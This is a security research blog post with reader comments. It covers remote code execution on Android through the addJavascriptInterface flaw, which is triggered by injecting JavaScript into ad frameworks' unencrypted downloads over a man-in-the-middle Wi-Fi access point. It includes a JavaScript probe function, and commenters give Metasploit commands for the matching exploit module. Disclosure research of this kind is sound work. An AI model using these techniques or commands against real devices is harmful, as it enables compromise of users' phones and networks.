Skip to content
July 31, 2014 / Tom Sutcliffe

Remote code execution on Android devices

Tom Sutcliffe and Thomas Coudray

You walk into a coffee shop and take a seat. While waiting for your coffee, you take out your smartphone and start playing a game you downloaded the other day. Later, you go to work and check your email in the elevator. Without you knowing, an attacker has just gained a foothold in your corporate network and is steadily infecting all your colleagues’ smartphones too.

Wait, what?

We don’t talk about Android much here on the Bromium Labs Blog, but now and again we like to tinker. Recently my colleague Thomas Coudray and I have been looking at an Android remote code execution vulnerability to see how much of a problem it is in real-world usage.

While privilege-escalation techniques are common on Android (and form the basis for the common practice of ‘rooting’ a device), remote code execution is a rarer and much more dangerous type of vulnerability. It allows an attacker to run code of their choosing on a user’s device without their knowledge or permission. This bug was particularly interesting because it appeared to still be exploitable even on a fully-patched latest-model Android device, a full 18 months after it was fixed. We wanted to see if this was true and if so, how much effort was required to exploit it. We found that the scenario described above is an all-too-real possibility.

We took a two-pronged approach to investigating this bug. Firstly we wanted to try exploiting it in an environment similar to the public wifi you might find in a coffee shop, so we fired up a few Android devices and some cheap networking kit and started hacking. The second part was to try and estimate how likely the average user would be to hit the worst-case combination of circumstances that would open the door to the coffee-shop apocalypse. For this we employed some static analysis techniques to see how many vulnerable apps and devices were out there.

Before we get into the details, some background on the bug:

Background

It started in 2012 with a Javascript remote code execution bug in the addJavascriptInterface API, CVE-2012-6636 (details here and here). This bug permitted Javascript code to have far greater access to the system than the developer originally intended. So far, so bad. Researchers from MWR a few months later showed how many apps embedded frameworks from advertising vendors, and that these frameworks regularly suffered from the bug and also downloaded Javascript at runtime.

These factors combined mean that a large number of apps would insecurely download javascript from the internet, in a way that is not difficult for a malicious attacker to hijack and trigger remote code execution.

Didn’t they fix this already?

Android 4.2 contained a fix for the underlying javascript vulnerability. Unfortunately the way it was fixed meant that the fix was disabled in certain scenarios, for reasons of backwards compatibility. The reality of Android version fragmentation and how the ad-supported business model works on Android means that these scenarios are not that uncommon. We looked at 100,000 current APK files from the Google Play Store, and found that about 12% of them were still potentially vulnerable even when running on the latest Android devices.

Breakdown of APKs using addJavascriptInterface()

Summary of APKs analysed. Half are not vulnerable because their target SDK version is greater or equal to 17, of the remainder 31% don’t use the vulnerable API, and 7% couldn’t be analysed due to APK obfuscation or problems with the static analysis.

In addition to the problems with whether the fix is enabled or not, more than 50% of devices still run pre-4.2 versions of Android. For these devices there is no fix and they remain vulnerable.

The technical bit

In order for the fix to be enabled, the code calling addJavascriptInterface must be compiled against API 17 or above – that is, you must target Android 4.2 or later. In order to be compatible with the widest number of devices, apps and ad frameworks are often built against the lowest possible API version. The upshot is that an app can be vulnerable even when running on a fully-patched Android device running 4.2, 4.3 or 4.4.

The adware-supported model is popular on Android; this is where the app is free, and the developer makes their money by showing adverts to the users. There are over fifty different ad frameworks available on Android which makes it very easy for developers to include this functionality, and often in fact they include more than one framework. Some apps have been observed to include as many as 20 (See fig 4 here). Many of these frameworks behave in the same way – they download a library of javascript over HTTP into the app when the app is first launched. What this means is that apps are regularly downloading unsecured and unverified javascript code which is run in an environment where it can execute arbitrary code.

Code execution means unrestricted device access

So far, this vulnerability only allows an attacker to execute code within the context of an Android application. This is bad, but is still restricted by the Android permissions system to the capabilities and data access of the application alone. However once an attacker has a foothold on a system, it is likely they will be able to gain additional privileges. The futex vulnerability for instance (CVE-2014-3153) affects every Linux kernel version currently used by Android and was recently used to successfully root the Galaxy S5 for the first time. Even though they are not equivalent, we should get into the habit of considering “remote code execution” as being equivalent to “root exploit” in terms of severity – because sooner or later a determined hacker will be able to trampoline from one to the other and gain complete control over the device.

Exploiting in the real world

We’ve talked about what the exploit is and why it’s so bad. Now we’ll cover some of the analysis we did to establish just how exploitable it really is.

In mid-May we took a random sample of 102,189 free apps from the Play Store and using static analysis found that 12.8% were potentially vulnerable, as shown in the above pie chart. These were APKs that had the requisite combination of target API version and use of the addJavascriptInterface API. They would only actually be exploitable by a man-in-the-middle attack if they called addJavascriptInterface in a context where there was javascript running which had been downloaded insecurely from the internet.

We would test this by hijacking the insecure javascript download using a man-in-the-middle attack, and injecting some javascript to probe for the addJavascriptInterface vulnerability.

Testing app vulnerability

We set up a wifi access point (AP) which acted as a man-in-the-middle (MitM) transparent web proxy. It was configured to inject a malicious payload into any <script> requested over HTTP from any device connected to the access point. The AP was password-protected to prevent anyone from accidentally using it, but the approach would be equally applicable to a publicly-accessible AP. Techniques such as DNS poisoning or ARP cache spoofing could be employed to make devices use the MitM proxy even if the AP was not under our control. Or a spoof access point could be installed mimicking a legitimate AP. In other words, there are a variety of ways we could equally have done this in our theoretical coffee shop and redirected anyone using their wifi to go via our proxy instead.Man in the middle setup

The dynamic nature of javascript means that we didn’t need to detect a specific application or ad framework to target. When run, the malicious payload scans the entire javascript namespace for objects which were bridged using the addJavascriptInterface API and would then test each one for vulnerability. If none were found it would exit silently and not interfere with the operation of the app. If successful it would execute a shell command that launched the calculator app (this is a tradition in exploit disclosure to show you have achieved code execution – if you can launch the calculator, you’ve proved you can run arbitrary code).

Part of the injected javascript

function findVulnerableObject() {
   for (var prop in window) {
       try {
           // If getClass() doesn’t throw, the object is vulnerable
           window[prop].getClass();
           return window[prop];
       }
       catch(err) { }
   }
   return null;
}

Having set up our AP, we randomly selected a couple of dozen apps from the 13,119 that we’d identified as potentially vulnerable, and installed them on a Nexus 5 (running 4.4.3) and a Samsung XE700t (an x86 tablet running AOSP 4.2) connected to the AP. Merely by launching each app and interacting briefly with it, we successfully triggered remote code execution in over half of them as they loaded javascript that the MitM proxy had injected malicious code in to.

Just for fun we tinkered with the javascript injected into one particular app until we persuaded it to display a Bromium logo instead of the advert:

Screenshot of an app’s UI being subverted to show a Bromium logo

Screenshot of an app’s UI being subverted to show a Bromium logo

 

It’s all in the ads

By inspecting the TCP/IP packet traces it quickly became clear that ad frameworks were the worst culprits for using addJavascriptInterface combined with Javascript code downloaded insecurely using HTTP. None of the frameworks we looked at used HTTPS, meaning any and all apps using that framework would be also be vulnerable when the unsecured javascript was downloaded. Previous research has shown that 17% of apps that do use HTTPS don’t do it properly, but that is a whole other issue!

AdFrameworks

We examined some of the apps in more detail to see what ad frameworks were being used. AdMob was by far the most popular (and generally the most frequently-updated) but we found plenty of frameworks being used that did still call addJavascriptInterface insecurely. Over 80% of the non-paid apps examined included at least one ad framework. In total, 4190 occurrences of ad frameworks were identified in the 2140 apps.

How big a problem is this?

Google publishes approximate numbers of downloads for all the apps on the Play Store. From only the small sample we manually confirmed were vulnerable, there are over 150 million downloads. This doesn’t necessarily mean there are guaranteed 150,000,000 vulnerable devices out there, because the one device could have multiple different vulnerable apps installed. But given the proportions we’ve found in our analysis – 10% of sampled apps potentially vulnerable, 50% of the potentially vulnerable apps we tested actually were exploitable – that is a likely to be a lot of devices.

And don’t forget, 57% of all Android devices out run software older than 4.2. So even if all vulnerable apps and frameworks were patched tomorrow with the 4.2-based fix, over half the Android install base couldn’t use the fixes.

Once you’ve achieved remote code execution, it is no great leap to end up in the coffee-shop apocalypse situation described earlier. Initiate a suitable root exploit (of which there are unfortunately quite a selection on Android), and one compromised device can become the man-in-the-middle on whatever networks it subsequently joins. Thus spreading the attack to, for example, the corporate wifi network so popular in the bring-your-own-device world.

Combining the data with Device Analyser

Device Analyser is another source of usage statistics for Android devices. One of the things it tracks is how frequently users launch different apps. They were kind enough to cross-reference their usage data with our list of potentially vulnerable apps, which gave the following results:

Average number of vulnerable apps opened per day per user

Average number of vulnerable apps opened per day per user

For the last year or so, the Device Analyser data shows that their users on average opened 0.4-0.5 potentially vulnerable apps per day. Or in simpler terms, their average user is vulnerable a couple of times a week. We couldn’t assume app versions more recent than what we analysed were still vulnerable, so the sharp drop in the graph corresponds to when our sample data stopped being the latest versions. If we were to rerun our analysis on the latest APK versions we’d likely see it remain around the 0.4 mark. The DA data is a relatively small sample size however, so drawing wider conclusions about Android devices a whole is difficult.

Conclusion

We found that by using relatively simple man-in-the-middle proxy techniques, it was possible to remotely compromise a fully-patched Android device running any vulnerable app, without having to expend effort to target specific apps or devices. Using static analysis we found that a sizeable percentage of apps are likely still vulnerable, and we confirmed that over half the apps we randomly tested could indeed by compromised.

As a result, we would recommend against using any Android app that displays adverts when connected to an untrusted wi-fi network.

Our thanks to Evozi for providing access to their APK repository, and to the University of Cambridge for their Device Analyser data.

11 Comments

Leave a Comment
  1. cool / Aug 1 2014 12:15 am

    Great post!

    • James Philips / Aug 1 2014 11:25 am

      not really needs more proof of concept code. any chance on a metasploit module or plugin for canvas?

      • joev / Aug 1 2014 12:31 pm

        You can try this out with metasploit’s module:

        msf> use exploit/android/browser/webview_addjavascriptinterface
        msf> set LHOST 192.168.1.1 # or whatever
        msf> run

        Then browse to the URL in a vulnerable device, or inject the URL + “.js” into your proxy.

  2. joev / Aug 1 2014 12:22 pm

    Nice post. This also affects the builtin AOSB browser before 4.2 and several 3rd party browsers as well. droidsec did a good writeup here:

    http://www.droidsec.org/news/2014/02/26/on-the-webview-addjsif-saga.html

    You can use the `exploit/android/browser/webview_addjavascriptinterface` metasploit module to exploit these issues on affected devices (though you must roll your own proxy injection for now) and drop android meterpreter.

    • Tom Sutcliffe / Aug 1 2014 12:43 pm

      Thanks for mentioning the metasploit support. We did look briefly at browsers but decided to focus on ad-supported apps, given how many of them there are.

  3. Tom Sutcliffe / Aug 2 2014 4:48 am

    A quick site admin note: I’ve added an explicit attribution to the article, since Thomas C did much of the research described here. I was fiddling with wordpress to try and get something that looked right, and didn’t make it very clear it was meant to be a co-authored post. Sorry for any confusion Thomas🙂

  4. Aaron Sarazan / Aug 8 2014 9:24 am

    This post needs to be more precise in its terminology– are you specifically referring to minSdkVersion or targetSdkVersion?

    Our app has min 14 but target 20 so this is a huge distinction.

    • Thomas Coudray / Aug 14 2014 5:55 am

      Only the targetSdkVersion is important. Your app is not vulnerable to this attack.

      PS: “Half are not vulnerable because their target SDK version is greater or equal to 17″
      Just below the pie graph.

  5. Jonathan Bar Or / May 7 2015 5:00 am

    “Android 4.2 contained a fix for this vulnerability, but the fix was disabled in some situations for backwards compatibility.” –> what situations? I’ve built an app with targetSdk = minSdk = 10, but still it’s vulnerable only on Android < 4.2! When I run this app on my Android 4.4 it's not vulnerable!

  6. Jonathan Bar Or / May 7 2015 5:32 am

    Strange, I have Android 4.4.3 and tried to attack an app with minSDK = targetSDK = 10 which uses WebView’s addJavascriptInterface(), but still — not vulnerable. When running the SAME APP on Android 4.1 – it works.

  7. Tom Sutcliffe / May 8 2015 12:44 am

    Android 4.4.3 introduced an additional protection to unconditionally prevent access to the getClass() method, so the simple exploit will no longer work. In theory you might still be able to exploit some other method which is unintentionally exposed, but it becomes much harder.

    See here for more details about the change: https://codereview.chromium.org/213693005/

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: